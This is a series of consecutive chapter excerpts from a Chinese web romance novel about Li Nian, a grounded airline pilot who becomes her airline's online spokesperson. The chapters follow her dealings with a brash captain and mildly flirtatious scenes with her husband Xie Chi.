“你看飞行员这个工作嘛,危险就不说了,关键是淘神费力。你天到晚昼夜颠倒地飞,家也难得回,整出一身病老了该咋办?等我路都走不动了还要来给你推轮椅?”黄丽娟掰开她的手,喋喋不休不知疲惫。 “呵……”黎念怒极反笑,一句反驳的话都说不出来。 她把帮忙提着的购物袋全部塞进黄丽娟的怀里,连带着那个价值上万的红色塑料袋子。 黄丽娟来京城这趟带了许多家乡的土特产。本以为自己是来清库存的,没想到变成了来进货的。周珮文实在过于热情,每每走到一个景点就非得拉着她买纪念品,临行之际专门找了个崭新的行李箱,各式小吃文玩装得满满当当,多出来的物件只好用手提着。 她一个人被行李层层包围,显得格外弱小可怜无助。 “广播说准备检票了,你赶紧进去吧。”黎念没好气地诓骗她。 她们提前了一个钟头到西站,黄丽娟要坐的那一趟复兴号甚至还在轨道上面“睡觉”。但是黎念害怕自己再跟她纠缠两句,仅剩不多的感动都要被蹉跎成稀泥巴,只好赶紧把这尊大神请走。 “真的啊?”黄丽娟不懂铁路部门的规矩,忽地感觉右眼皮狠狠一跳,着急去抓行李箱的拉杆,“哎呀,我要搞快点进去了,不和你多说了。” 黎念目送着她刷身份证进站,没有多说道别的话。 黄丽娟平时哪儿也不去,难得出门一趟,对这些流程很生疏。行李过安检时,没封口的袋子撒了一地东西出来,她又手忙脚乱地去捡四处滚落的水果。 黎念就这样一直站在检票口远远望着,直到黄丽娟蹒跚的身影消失在扶梯的最高处,才双手插兜离去。 - 又过了几日,黎念接到公司人事通知要求线下报道。她以为自己停飞期间还得像其他“前辈”一样坐班,极不情愿地踩点赶到了人力资源部的半开放办公区域。 对于她的造访,格子间里根本无人理睬,大家都在各忙各的。她重新认真读了一遍邮件,发现具体的约见地点在“主任办公室”。 黎念穿过一排排工位,朝深处走去。主任办公室藏在靠近玻璃窗的角落里。她象征性地敲了敲门,直接推门而入。 房内一男一女两个中年人,听到动静齐刷刷转过头来,上下打量着她,眼里掩饰不住的是惊艳。 黎念机敏地扫了一眼桌牌,上书“海云京城分公司人力资源部主任郑文卉”,一看就像是女性姓名。 “郑主任好。”黎念先对女人笑着打了声招呼,又向男人点头示意。 “哎,黎念来了,”郑文卉颔首,起身替她拉开面前的座椅,“有什么事咱们坐着说就行。” 郑文卉又对着男人打趣道:“你看她本人形象气质还是挺出众的,不存在‘照骗’的情况嘛。” 男人低低笑了一声,为自己先前的怀疑论感到抱歉。 郑文卉鼻梁细挺,面颊清癯,给人第一印象不苟言笑,甚至对于陌生人的造访有着高度敏锐的警惕心,但实际相处起来却十分和善,没什么领导架子。 “这位是品牌规划中心的王宏主任,今天主要是他想和你谈一些事情。我呢,就当个陪衬。” 黎念连忙又站起身和王宏握手。 他脸上的沟壑尚浅,年龄不过五十,但头发已然斑驳花白,眼底的疲惫黏稠得化不开,看起来像个加班常态化的狠人。 “小黎你好,”王宏淡淡笑道,“我就直接进入正题了。” 黎念听得头脑发懵。 飞行员又不归他们管,想不到这群八杆子打不着的领导还有什么别的理由要专门找她一趟。 “你停飞的事情我们都听说了,实在是无妄之灾。但处罚是公司上面的人做的决定,我们都拿它没有办法。不过这个月过去之后一切应该就能恢复正常,你也不要太担心复飞的事情。”王宏道。 “谢谢王主任。” 黎念觉得对方兜兜转转一大圈,还是没有进入所谓的正题。似乎男人到了这个年纪都会有这个通病,思维变得格外发散,说话永远抓不到重心。 “至于这段时间,郑姐也说了,你不需要来公司坐班考勤。我们品牌中心倒是有个不情之请,想看你能不能协助我们推进一下。” 黎念暗地里乐开了花:“请领导明示。” 只要不用坐班,剩下的都好商量。 “这两年已经发展到了数字时代嘛,新媒体的重要性对于品牌营销来说简直不言而喻。现在许多航司都有形象代言人,他们不光给公司拍官方宣传素材,平时还要在平台上面发自己的工作vlog、plog来吸引流量。 “我们海云之前一直不太重视这项工作,宣传平台也没有好好运营起来,导致公司在互联网上面的形象总是被人诟病老气横秋。现在领导知道了你在私底下做账号,影响力特别大,就让我来问你有没有意向转型成我们的网络形象代言人,在原来的号里面发点公司相关内容。” 王宏一口气说完这些,连气都不带喘的。 黎念很快摘取到关键信息,抛出自己的疑虑:“可是我刚被停飞不到一个星期,当代言人不是给公司形象抹黑吗?” “这你不用担心。停飞的消息目前只在公司内部小范围流通,公关那边也在严格把控舆论,不会扩大影响的。”王宏道。 在一旁默不作声的郑文卉突然开口:“前几天7897的视频在网上热度挺高的,评论都在指责那个乘客的行为,没有出现不利于公司的言论导向。 “而且据说他好像有点精神疾病,是飞机出事故给他吓应激了。幸好他没整出来别的幺蛾子,要是把人打伤或者把逃生滑梯放出去,那才叫不好办啊。” 此话一出,黎念脸上的巴掌印仿佛又开始火辣辣地疼。自己受过的屈辱最终要用“精神病”来 27. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 “可是飞行员的职业生涯不就是这样。”黎念轻声道。 “上航校的时候想着放单就好了,进公司想着赶紧改装就好了,飞A320想着早点飞到heavy就好了,聘一副之后现在想的是什么时候放机长当教练员就好了……” 王宏会心一笑,低沉的笑声让整个胸腔都跟着共鸣。 “千辛万苦以为自己终于上了岸,其实只是侥幸抱住了块浮木,还得继续随波逐流下去。” 黎念举起手中的可乐向他致意,一饮而尽,然后将易拉罐随手揉成了一团废铝扔进垃圾桶。 手劲很大,动作很熟稔,王宏看得很震撼。 “你是……飞空客的吧……”他试探地问道。 黎念乖乖点头:“嗯。” 这一身使不完牛劲,还以为她从“空中健身房”波音737来的。 王宏强装若无其事擦汗:“厉害了……等到合同拟定好之后我再通知你来签字,没什么别的事儿你可以先回去了。” “真的太麻烦王主任您了。”黎念连连鞠躬道谢。 王宏有点不好意思:“哪里哪里,咱们这算相互成就了,你甭客气。之前你姑父帮我家老大解决上学的事儿我还没来得及好好感谢呢,这都已经开学了,咱们两家人抓紧时间再好好聚聚啊。” 他冲黎念挥手告别,先行一步,消失在了电梯门里。 黎念下楼后,在公司门廊前偶然碰见一台红色敞篷跑车。它随意乱停乱放,挡住出入通道,丝毫不避讳过往行人的眼光,态度很是狂放。两个后视镜伸出来,滑稽得就像蚂蚁的触角,还有点像外星人。 凭借着自己那点瘠薄的汽车知识,黎念看到轮毂上方的黄底黑马logo,只能猜出这是辆法拉利,具体型号价格一概不知。 不过,车里露出来的脑袋她倒勉强称得上是认识。他坐的位置低矮,整个人仿佛刚从地里面长出来似的。 邢方洲原本在百无聊赖地摆弄着手机,看到黎念走出来,顿时笑逐颜开:“喂!” 黎念被这一嗓子吓得后撤一步。 她回过神来定睛一看,那人神采奕奕,墨镜别在脑后,身上穿着飞行员短袖制服,四道杠肩章一如既往地扎眼。 想到开拉法的太子爷也要严守打卡制度,跟着一起夙兴夜寐朝五晚九,她心态平衡了许多。 “呵。”黎念翻了个白眼,打算绕道避开与他的正面交锋。 身后传来一阵厚重的声浪。 是邢方洲发动了汽车。他松开刹车踏板,不紧不慢跟在黎念的斜后方,和散步一样悠闲。 “去哪里?要不要我送你?”邢方洲把墨镜戴好,手肘搭在车窗边框上,一脸玩世不恭朝着她笑。 黎念加快步伐,他便轻踩油门超过她,然后停在前方等待。 “你现在应该没班吧,怎么没事就来公司晃悠?总能碰到你。不会是来这里‘画饼充饥’‘触景生情’吧?”邢方洲道。 黎念忍无可忍,终于转头看向他:“也就碰过两次面,没你说得那么夸张。邢机长,在外航待了这么多年,连中文都讲不利索了?” 她还记得他之前说的“芥末沙律”,笑掉人的大牙。 “那倒不是工作的原因,”邢方洲一本正经,“其实我国内初中没念完就去伊顿公学了。有个形容词叫什么来着?‘九漏鱼’?说的大概就是我吧。 “不过我最近可有在认真学习成语的,遇到的一副二副都说我进步神速。” 很少见到有人不通文墨还这么理直气壮,大概是他校友威廉王子给的底气。 黎念觉得横亘在两人之间的不仅仅是文化背景的差异,还有智商上的参差。简直和他话不投机半句多。 她把滑落到手臂上的挎包挂回肩膀,撑开遮阳伞挡住灼热的光源,也把那张欠扁的脸遮得严严实实。 “真的不要我送你吗?”邢方洲不依不饶问她,“公司‘前不着火后不通电’的,应该很难打到车吧。” “是‘前不着村后不着店’。”黎念已经很不耐烦了。 “去地铁站也很远噢。” 黎念被吵嚷得实在忍无可忍,挤出一丝虚情假意的笑:“那我就却之不恭了。” “Pardon?” “开一下门!” 蝴蝶门自下而上打开,弧度像极了海鸥振翅,整个姿态张牙舞爪甚是嚣张。 邢方洲身高一米八左右,体格硬挺壮实,要从几乎躺平的座位里钻出来稍显得有点局促,但并不影响他站定后端着架子耍帅。 “请上车吧,miss‘greenhand’。”他为黎念推开车门,站在旁边微微俯身,尽显绅士风范。 当然他使用的称谓有些冒犯,所以又被黎念狠狠瞪了一眼。 车里的内饰选配得骚气十足,座椅是牛奶巧克力般的颜色,红色安全带饱和度直接拉到爆表,系在身上仿佛都能把人映衬得红光满面。 “这个位置应该有很多人坐过了吧?”黎念踟蹰不前,“你们没有留下什么可疑物体?” 邢方洲靠在椅背上懒懒道:“是有过很多女人,但是我不喜欢直接在车里做,你有洁癖也尽管放心咯。” 黎念俯身钻进车内,依靠直觉摸索到把手,使了好大劲才关掉车门。 “你打算去哪儿?不要告诉我是基地宿舍,私生活很无聊的人才喜欢没事缩在里面。”邢方洲道。 “不要随便定义别人行不行。”黎念冷哼道。私底下玩得花难道也成了一种美德? 她无法彻底相信邢方洲的为人,打开导航输入了一个离家一公里左右的商圈地址,点击开始。 “准备出发,全程35公里,大约需要30分钟……”志玲姐姐甜美的声音响起,打断了邢方洲正欲开口讲的话。 “跟着导航走就行了。”黎念甚至很贴心地把声音开到最大。 邢方洲把头埋得很低看不见神情,但从他那耸动的肩背可以猜到,他又笑得情难自已了。 “黎念,”他抬头对上黎念鄙夷的眼光,再次露出标志性的狡黠微笑,按动拨片挂档,“你真的很有意思。” “谢谢夸奖。”黎念已经锻炼出来厚脸皮了,云淡风轻道。 邢方洲悠悠缓缓过了收费站的道闸,卯足马力向前推进。 “大哥!你的顶篷去哪儿了?”黎念抓着安全带惊恐尖叫道。 高速上面开敞篷,他真的不要命了,万一遇到货车爆装备怎么办! 风声呼啸,杂糅着发动机的轰鸣,吵得黎念快要神经衰弱,但实际乘坐体验似乎并没有她想象中那么癫狂。气流从头顶划过的瞬间,肾上腺素乘风而上划破天际。 有人打电话给邢方洲,系统默认铃声将黎念飘远的思绪拉回。 邢方洲把手机扔到黎念怀里,皱着眉头目视前方:“开下免提。” 黎念很抗拒这种被使唤的感觉,心里缠斗了半天,想到要是惹毛了司机落得一个车毁人亡的后果,还是不情愿地咽下这口恶气,替他接通电话。 她偷瞄了一眼来电人的备注,“jsy,oscc,tau”,差点扑哧一声笑出来。 进口海王的备注都如此标新立异,很适合放到密室逃脱里当线索。 “方洲哥哥,你在哪里呢?我在公司门口没有看到你。” 这声音好生熟悉。 虽然比平时夹得更过分了。 黎念心下骇然,斜眼注视着屏幕上那串英文字母,一个不祥的猜测浮现脑海之中—— 晋姝意,海云空乘。 后半句看不懂什么意思。 “Sorry,eous,我临时有事先走一步,要不你打车吧,回头给你报销。”邢方洲撒起谎来不带喘的。 刚才谁说不好打车来着?黎念气得险要昏厥过去。 “好吧……”晋姝意那边听起来就很失落,“哥哥你先忙哦,我晚点再联系你。” 邢方洲清了清嗓子,示意黎念结束通话,但她故意按兵不动,一直等到晋姝意主动挂断。 “原来我们这行的形象都是被你败坏的。”黎念忍不住对他冷嘲热讽。 邢方洲打着转向灯猛踩油门,几乎同时方向盘朝右一甩,加速超过前车。 “你情我愿的事情,至于吗?”他眯着眼睛,对黎念的言辞颇感不满。前方有车挡住去路,他迅雷不及掩耳之势变回超车道上。 如果说上一个让黎念有同样晕车体验的人只是在平静中略微透露点疯感的话,那邢方洲毋庸置疑就是完全不顾他人死活的疯子。 “这叫你瞒我瞒!”黎念一点就炸,“晋姝意是我朋友你不能不知道啊!既然你们有约在 28. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 谢持不明白在一众叠得还算整齐的小裤里面怎会混入画风清奇的不明物体。他起初以为这是快被黎念淘汰掉的连裤丝袜,捻住布料一角用力拽出来,都没仔细看就打算直接扔掉。 “要不还是我自己来吧……” 黎念箭步上前,想要从他手中夺走却为时已晚。她私藏的黑色透视性感开叉小裤在重力的作用下如船帆一般展开。 黎念暗道不好,捂住脸悲痛欲绝。 晚节终究还是不保了。 这时谢持终于看清了它的全貌。 装饰性远远大于实用价值,尤其是背面别具一格的小心机设计很难让人忽视。 日常穿聊胜于无,换个场合倒是会穿有意想不到的效果。 可是君子论迹不论心。 现在的形势不允许他有任何轻佻放浪的言行。 他指尖微颤着把这片过分俭省的布料勉强叠好放回原位,膝盖一顶合上抽屉,然后轻咳一声:“抱歉。” 既然木已成舟,晚节已经碎成了渣,黎念干脆放弃挣扎破罐子破摔。 谢持要真的问起来,就说是故意买的呗,随机等一个有缘人来共同品鉴罢了。 她斜倚在柜门上,注视着他的从容自信被一点一点剥离。夕照烧红了他的侧脸颊,火势大有蔓延到耳后脖颈的迹象。 还好还好,似乎在这件事情上,他比她更显失态。 不知道是谁刚才和学校宿管一样,来势汹汹非要查她的寝。怎么现在反倒偃旗息鼓起来,还要假意不感兴趣。 黎念不信谢持没有一点反应,登时起了捉弄他的心思。她眼波流转勾唇巧笑,作势要去拉开抽屉:“为什么不多看看?不喜欢?” 谢持被打得措手不及,及时制止了她的动作,瞳孔都在震颤:“你在说什么……” 黎念第一次见他慌乱成这般模样,觉得新鲜又有趣。她步步逼近,在能够感受到对方呼吸乱流的位置停下来,变本加厉揶揄道:“才这种程度就不敢看了吗?可是还有绑带的,蝴蝶结的,连体镂空的……” 谢持眼里次第闪过羞涩、惊讶、震撼、难耐以及隐秘的期待,混乱的情绪交织缠绕最终难分彼此,催化了她的兴奋。 黎念朝他顽皮地眨眨眼。 比没心没肺没皮没脸她还没输过。 不料在心跳漏拍的空隙,他长手一揽一勾,将人圈在臂弯里,呼出来的气息滴滴点点落在她的耳侧,激得她惊呼一声肩膀一缩,不自觉地顺势钻进他的怀里。 胸肌依然该软软该硬硬的,很安心。 “我不知道这话在险些离婚的夫妻之间讲会不会太冒犯,但坦诚地说,我很喜欢看,”谢持的言辞和他外表一样端方文雅,殊不知平静的表面下涌动着侵略性十足的暗流,“就是这件样式太——成熟了些,不像是你会选择的类型,除非这么多年过去你的品味已经完全变了。” 谢持接下来说的话更让她招架不住。 “倒是绑带、蝴蝶结、连体镂空这些我很期待……不过你放心,我还不至于禽兽到对着一片布料起坏心思。” 他说得有些偏颇。让人起欲念的从来都不是衣物本身,是有具体代入对象之后的无限遐思。 “……”黎念羞愤得想把自己锁进柜子里再也不要出来见人。 怎么还有比她更加没心没肺没皮没脸的人! 她推开他坚实的胸膛,迅速逃离犯罪未遂的现场,钻进隔壁的小卧室里把门反锁上。 预想中的敲门声并未出现。也不知道谢持忙什么去了。 黎念轻喘着气躺倒在床上,紧盯着头顶上方的铁艺水晶吊灯,眼睛眨也不眨。 这个房间一直闲置着,里面的陈设布局看起来很像女孩房。洛可可风纱帘上面缀着精致的木耳边,床头和飘窗都铺上了绵软舒适的靠垫,豆绿色的斗柜上还摆着玩偶和插满粉荔枝玫瑰的复古花瓶。 在周珮文的授意下,平时钟点工阿姨们来做保洁时总会带上鲜切花替换掉家里各处残花,无人居住的房间也不例外。一周一次的频率,刚好是从盛放到零落的周期。 黎念猜想谢持可能喜欢女儿,但这份对孩子的期待让她产生剧烈的割裂感。她会和谢持有孩子吗?未来的道路上笼罩着重重迷雾,她依然看不真切。 但她时常会很羡慕这个想象中的小女孩,从降临到人间之始就仿佛拥有了全世界。而她在十二岁月经初潮之前甚至都没有专属于自己的房间。 “笃笃——” 外面有人敲门。 黎念撑着身子坐起来,踮着脚踩过去。手摸到门锁上时迟疑了一下。 “黎念,有电话。” 隔着门的厚度,谢持的声音有些沉闷,听不太真切。 她拧开锁,拉开一条缝隙,露出警惕的双眼。经过检验,对方已经恢复克己复礼的冷淡模样,她终于敢放心敞开房门。 “谢谢啊。”黎念接过手机看了眼来电显示,竟然是晋姝意。 她又想到了在那场惊心动魄的追逐赛中,车手面无表情讲着电话,超级跑车轰鸣着加速过弯,晋姝意在电话另一端陷入无尽落寞。这样的修罗场她不想再经历第二次。 “喂?小意。” “姐——”晋姝意带着哭腔,“我真的应该听你的话,不要去招惹不该招惹的人。古人永远云得对,‘不听老人言,吃亏在眼前’哪!” 她哪里算得上老人。 黎念嘴角剧烈抽搐了一下。 “发生什么事了?你还好吧?”虽然已经知道了答案,黎念还是要装傻充愣。 晋姝意吸了吸鼻子:“邢……邢方洲……他真的没有心!明明说好要送我回家的,我在公司楼底下等了半天都不见人影,打电话问却说有事先走……” 黎念仿佛膝盖中箭,一个趔趄差点栽倒在原地。对方明明骂的是别人,她自己的良心却仿佛跟着一起遭到谴责。 “其实我倒也不是因为这件事情难过,”晋姝意接着说道,“最可气的是他回头发了个消息过来,说‘我们以后还是不要再联系了’。我想要问原因,他竟然说我不是他喜欢的类型。” “好渣,想拒绝也不至于这么敷衍。”黎念啧声道。 “是啊……你说他怎么这样啊……”晋姝意都快跳起来了,原地跺着脚,声音随着身体动作颤抖,“昨天睡都睡过了,今天怎么能翻脸不认人嘛 29. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 黎念在九月过半的时候收到了两份通知,一是海云航空形象代言人的正式任命,另一是局方下发的红头文件和公司撤销处分择日复飞的书面通知。 后者在她去机要室里查阅副本后就立刻被送进了碎纸机。 至此尘埃落定,她悬了半个月的心终于沉入湖底,再也泛不起一丝涟漪。 她已经很久没有和赵斌斗智斗勇了,接到他的电话时,平白无故生出了些许亲切感,很像网上说的“斯德哥尔摩综合征”。 虽然对方语气一如往常百转千回、阴阳怪气,让她一听就浑身起鸡皮疙瘩,但他确实也少说了几句无关紧要的风凉话,让她很是不习惯。 明眼人都知道赵大队长最喜欢挖苦别人。 停飞不到一个月,发生的事比来京城前两年所经历的全部叠加起来还要复杂。得失成败来去无痕,只余她独自恍若隔世。 黎念在运行网上看到接下来一周的飞行计划。第一天飞三段,先往返大兴和浦东,最后再飞到乌市过夜,第二天加机组回大兴继续飞。 看到“Z”这组代码,她激动得无以复加。没想到刚复飞就能排到一个好班。 大家平时都爱飞地窝堡机场,不仅仅是因为能挣更多小时费和过夜费,还有当地美食的巨大吸引力。 黎念从来没去过新疆,但在公司广为流传的关于红柳烤肉、辣皮子拌面和牛骨髓烤馕的传说早已让她心驰神往久矣。 近些年海云大力开拓西北市场,不但在地窝堡机场设立了基地,还在夏秋航季新开通了许多全国各地进出疆的航线。 刚刚结束的暑运期间,京城往返乌市人流量与日俱增,海云投入大量诸如A330这样的宽体机执飞。 后来这片空域上方甚至还惊现过海浪祥云涂装的空客A350的优美航迹。可惜那时黎念已经把登机牌上交公司,每天只能赋闲在家,根本飞不了一点。 不管怎样,如今劫后余生,黎念在迟来的幸福里还是获得了加倍的快乐—— 当然如果没看到机组人员信息的话。 押座的二副名字很陌生,估计是哪个刚下队的师弟。 至于机长—— 黎念想不明白飞行组里面怎会出现“邢方洲”这三个字。偏偏不是冤家不聚头。 这时,屏幕顶端出现新消息通知横幅。 晋姝意连发了好几个撒花的表情包。 【姐!!咱俩终于分到一起了!!】 自从上次黎念改掉程澈的备注以后,她便发了狠要把所有打错的名字都矫正过来。 AAA三轮黎师傅:【谢谢三姐给我烤机组餐,苹果和橙汁麻烦都多来点。】 晋姝意:【那必须的,把邢方洲的饭都给你吃,让他喝西北风去。】 AAA三轮黎师傅:【[惊讶][惊讶][惊讶]你要敢这么藐视权威,他会直接把你扔下去的。】 【机长拥有飞机上的最高决策权,机上所有人员都应该给予机长足够的尊重。这句话不需要再强调了吧[旺柴]】 晋姝意:【我呸!这叫权力的滥用!渣男在天上飞不被雷劈死都差不多了。祝他有生之年‘一路顺风,双发失效,半路失踪’。】 黎念连忙敲了三下桌子,祈祷这种倒霉事情不要让自己碰上。单发失效尚且有转圜的余地,如果两个发动机一起关停,那不就直接变成无动力滑翔机了吗。 那个画面想想都头皮发麻。 AAA三轮黎师傅:【那我得祈祷咱们少和他分到一班,不然连人身安全都没法保证。】 晋姝意:【姐,你吉人自有天相,7897那么大一件事情都挺过来了,以后只会顺顺利利的。】 附图为拍拍猫咪脑袋的表情包。 黎念看着对话框,感觉自己就像那只眯着眼睛享受的小猫,还没凉透的“尸体”又暖起来了。 换个角度想,其实和邢方洲搭班,从客观来说根本就算不上什么坏事。 黎念事先在外网上搜索过他的名字。 IG和蓝鸟上面满天飞着他的合影,他总喜欢坐在左座竖着大拇指露齿笑。还有很多外国飞友专门po出他在flightlog上洋洋洒洒写就的中英双语签名。 ——邢方洲NoahHsing. 《圣经》里记载,为了惩罚变得邪恶堕落的人类,上帝耶和华决定通过引发一场灭世大洪水来消除所有恶人。唯一被选中有资格存活下来的人就是诺亚及其家人,他建造的方舟更成为了人类文明存续的火种。 邢方洲的英文名叫Noah,绝非只是谐音这么简单。隐约能感到他的野心就在于此。 数年前,邢方洲刚放机长时就执行过时任英国首相访华专机的飞行保障任务,在当地华人圈引发轰动。当时国内也有同行在传这件事,可惜黎念没有表现出过多的兴趣。 直到现在,邢方洲的老东家BritishAirways的官网仍然舍不得把他的个人介绍删除。用时半年就提前取得私用、商用、航线运输和多人制机组等各种类型航空执照,从改装A350到放机长历时仅四年,同时他也是BA最年轻的外籍机长。 所有零零碎碎的资料拼凑在一起,可以大致摹画出一个年少成名,天赋异禀,专业素质过硬的天降紫微星飞行员形象。 正是这样一个传奇人物,却在生活中非要和黎念处处针锋相对,让她差点以为他是个进化不完全的傻叉。 就很奇怪。 手机屏幕左上角出现了数字“1”的气泡。黎念关闭与晋姝意私聊的对话框,发现“好男儿志在四方”工作群里有了新消息。 她的师父方荣华几乎从来不在群里发言,今天却破天荒地转发了一条小地瓜笔记。 这篇笔记由公司官方账号发布,不到一小时已经收获破万点赞。标题为【逐浪前行,云上绽放,飞行员@Lillian黎念官宣成为海云航空形象代言人】。 黎念把账号交出去之后,公司帮她在用户昵称后面加上了本名,还申请了官方认证。多年马甲一时被扒,实名上网的感觉多少让她有些不习惯。 新闻上的几秒惊鸿一瞥只是序章,现在她真正翻开了成为公众人物的一页。 群里很快有人回复。 【又美又飒[强]】 【好厉害的漂亮小姐姐[哇]】 【小黎师妹真是要颜值有颜值,要能力有能力】 【下次再搭班期待和美女代言人一起飞行,好荣幸】 …… 虽然大家的态度都很友善,但是黎念简单感谢了两句就不愿再多看。 道理她都懂。 作为代言人,外貌是吸引粉丝最简单有效的敲门砖。她能做起来自媒体账号也好,公司选中她也罢,很难不说没有看脸的成分。 想要更好地宣传飞行员这个职业、使大家愿意同等地 30. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 黎念几乎可以确认照片里的纨绔公子哥就是谢持。 她从一出生就几乎整日同他黏在一起,一直到那场地震之后,他秘而不宣离开家乡县城,彻底消失在了同学朋友们的视野,自始音信全无。 虽然黎念错过了谢持人生最恣意美好的韶光,虽然在他身上发生了天翻地覆的变化,但她依然一眼就能认出来他,不管他如何被造化搓圆捏扁。 谢持那时的模样和现在天差地别。 很瘦,不健康。 正常减重并不会折损身体,而他孱弱得手无缚鸡之力,就像生了一场如山倒的大病,一夜之间消瘦下去。黑色短袖衫套在身上显得空荡荡的,手臂细得皮包骨头,脸颊凹进去有些脱相。 看着就让人触目惊心。 他到底经历了什么,从未和旁人讲过。打碎的牙全都吞下去咽自己肚子里。 黎念还认得出镜的这台劳斯莱斯古思特,是谢持父亲谢思谏为了庆祝赫尔墨斯公司在京城成立时所订购的。 也不知道怎么让这小子坐进去摆拍上了。 没想到谢持也有过年少轻狂爱炫耀的一面,拖着病体也要装个叉。 赶紧截图保存。 怕他哪天想起来删掉,就没有拿他开涮的素材了。 黎念心情五味杂陈,退出这篇笔记往上翻了翻,发现点赞量最高的是一篇关于赛车的图文。 定位在肯尼亚,从发布时间可以推断他那时正在法国深造。 首图画面极富生命力。 天空一碧如洗,飞鸟展翅盘旋,直升机从半空掠过,铺开在地面上绵延不绝的是辽阔草原。许多原住民举着小旗帜将正中央的两个男人团团围住。 他们穿着黑白相间的赛车服,头戴红牛头盔,互相搂着对方的肩膀站在丰田改装车车顶上,食指指向天空,笑得畅意开怀。 一个看五官像阿拉伯人,另一个不出所料正是谢持。 彼时的他已经恢复了元气,相貌与现在相比只是青涩鲜嫩一些,并无明显区别。 第二张照片是谢持和领航员站在领奖台上开香槟庆祝的新闻图。 黎念搜索了一下背景板上的文字。 他参加的是“世界汽车拉力锦标赛”,其因赛道地形恶劣考验车手技术和赛车性能,且极富观赏性而享誉世界。 想到两年前他开车送自己回北星巷时的漂移停车,还有去公司领处分那天他在六环路上不停丝滑移位,她突然彻底释怀。 人家只是在秀基本操作而已。 再往后翻,剩下的几乎全是非洲大草原的风景照,成群结队的斑马和羚羊从猴面包树下穿行,有种《动物世界》照亮现实的感觉。 当然里面还夹杂着一张谢持在卸掉顶篷的吉普车上探出头与长颈鹿的自拍合影,笑得很傻。 身不能至,从旷野来的风却仿佛吹到了黎念的脸庞上,心口间。她看得眼角微微湿润,不仅只是艳羡。 从形销骨立到野蛮生长,二十出头的谢持,头顶万里之外的自由晴空,脚下是世界顶级汽车赛事的巅峰,前路更是璀璨明亮到常人无法想象。 而那些人生重要时刻她一个都没有参与。 哪怕是以发小的身份。 - 谢持把黎念从游泳池里拎起来时,差不多临近晚饭饭点。 他提前告诉过黎念,今天有场局想要让她出席。 之前北航本科的同学早早听说他回国的事情,吵嚷着要给他办接风宴。可惜这群老朋友散是满天星,各自事业有成,要想整整齐齐地聚在一起则很难凑出合适的时间,故而拖延到现在才总算定下来。 可是黎念近来满脑子想的都是复飞和代言的事情,愣是扎扎实实地忘了这茬,到点就肌肉记忆般跑去阆园内部会所里锻炼身体。 谢持给她打了无数个电话都无人应答,只好急忙赶回家查看情况。 平时晾在阳台上的竞速泳衣消失不见,他心下顿时了然该去哪里寻她。 当他穿过更衣室,一身格格不入的正装出现在跳台旁边时,她正朝着他的方向势如破竹地前进。腰肢灵活柔软,肩背舒展收缩,勃发的力量仿佛可以击穿磐石。 50米的标准赛事级泳道里,掀起全场最大的水花,所行之处人人避让,唯恐被这只五彩斑斓的蝴蝶所扰动出来的热带暴风雨卷走。 黎念以前在地瓜账号里专门介绍过自己最喜欢的泳姿就是竞技蝶泳,甚至还为爱发电出了几期教程。 没有别的原因,就是单一个字“帅”。 谢持对于这种状态下的黎念并不陌生。 游得很暴力的时候就是有心事。她不高兴了。 他打小水性不好,但夏天也经常被她拉去当气氛组。他在浅水区里抱着救生圈不肯撒手,默默注视她在隔壁深水区里虐菜,用各种高阶泳姿到处超车,水花溅到旁人脸上引来惊叫连连。 后来她收敛了脾性,精进了技能,浑身上下贴满了膏药,辗转各地参加不同级别的游泳比赛,先是自由泳拿了市内第一名,再是蝶泳打遍全省无敌手。 而他时常偷偷请假前去观赛,在看台最后一排远望着她登上领奖台的最高一级阶梯。振臂高呼的模样仿佛已经有了世界冠军的风范,叫人心潮澎湃又怜爱不已。 谢持时常会想,要是黎念当初没有一意孤行放弃专业道路,早早地进入国青队去浙省训练,或许就不会遭受那般灾厄了。 但他也很清楚,如果她甘心呆在舒适圈里,放弃掉从小到大的航天梦想,那她就不是真正的黎念。 鞋尖和裤腿被突然袭来的一阵浪花拍湿,贴在皮肤上冰冷的触感扰乱思绪。 谢持低头望去,他等待的蝴蝶终于收住了翅膀,正在原处轻轻调整呼吸。她的运动量不小,又要带着脾气游“暴力蝶”,着实把她累得不轻。 “咳。”他故意制造噪音试图引起注意。 黎念双手扣住泳镜向上一提,把它勒在额前,手肘撑在岸边,看起来丝毫没有要离场的意思。 脑袋圆圆,光滑得就像一颗水煮蛋。 “你怎么来了?”她有些惊诧。 谢持神思恍忽,眼里满是让他慌神的好光景。 紧身泳衣包裹之下一双纤长匀称的腿,正在有意无意地拍打水面。雪白的脖颈露出水面,时有细小露珠顺着曲线滑落,香远益清,亭亭净植。 对哦,他怎么会来这里。 谢持哑然失笑,蹲下身子与她视线平行:“念念,你应该还没有忘记我们有约吧。” 黎念咬着泡得发皱的手指,眼睛骨碌碌地一转。好像确有其事,可她早些时候光顾 31. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 原本扶住档杆的右手此刻落在黎念的颊上,指腹掌心长时间抓握杠铃而布满了薄茧,游移到耳后带来粗砺的触感。 谢持用一个轻描淡写的吻堵住了她肆意的笑语。 尝到熟悉的柑橘香气,带着习习薄荷的凛冽,她猜想他或许刚用过这个香型的漱口水。 但他似乎不满足于唇瓣之间的厮磨辗转。正当攻势渐盛,准备撬开贝齿更进一步时,黎念摸索着揪住他的衣领,朝他掌心的相反方向微微偏过头去,轻喘着气。脸颊粉得就像微风中招展颤动的菡萏。 “不是要赶时间吗……” 谢持才换过t恤,领口又被揉皱,凹下去的是她力道不知轻重留下来的指印。 “嗯。”他心不在焉应了一声,握住档杆向后推,驱车赶往聚会地点。 二人各怀心事,一路上不曾有过对话。 黄昏时分,斜阳残照,落霞染透了西边的天空,流云随着坡度起伏一摇一晃。前方的景物像是被笼上了雾霭,汽车尾灯模糊成了晕开的红墨水,高楼沉默着背光矗立,宛若整个世界的阴影面。 直到天色更暗下几许,道旁路灯霎时间绽开橙黄光芒,在后视镜里断断续续连接成珠链。 汽车驶向城郊一处两进院落,穿着晴山蓝对襟窄袖长衫和月白百迭裙的服务员早已等候在屋檐之下,为他们开路。 头顶正中央的匾额上书“宴春山”行草大字,落款时间为“壬寅年榴月”,看得出来这家店新开不久。 轻启黑漆木门,步入小巧精致的园林。穿过游廊亭台,荷风携着初秋凉意徐徐袭来。檐枋上零星点着几盏传统样式的八角彩穗宫灯,灯火落入池中,被水波揉碎成了粒粒金箔。 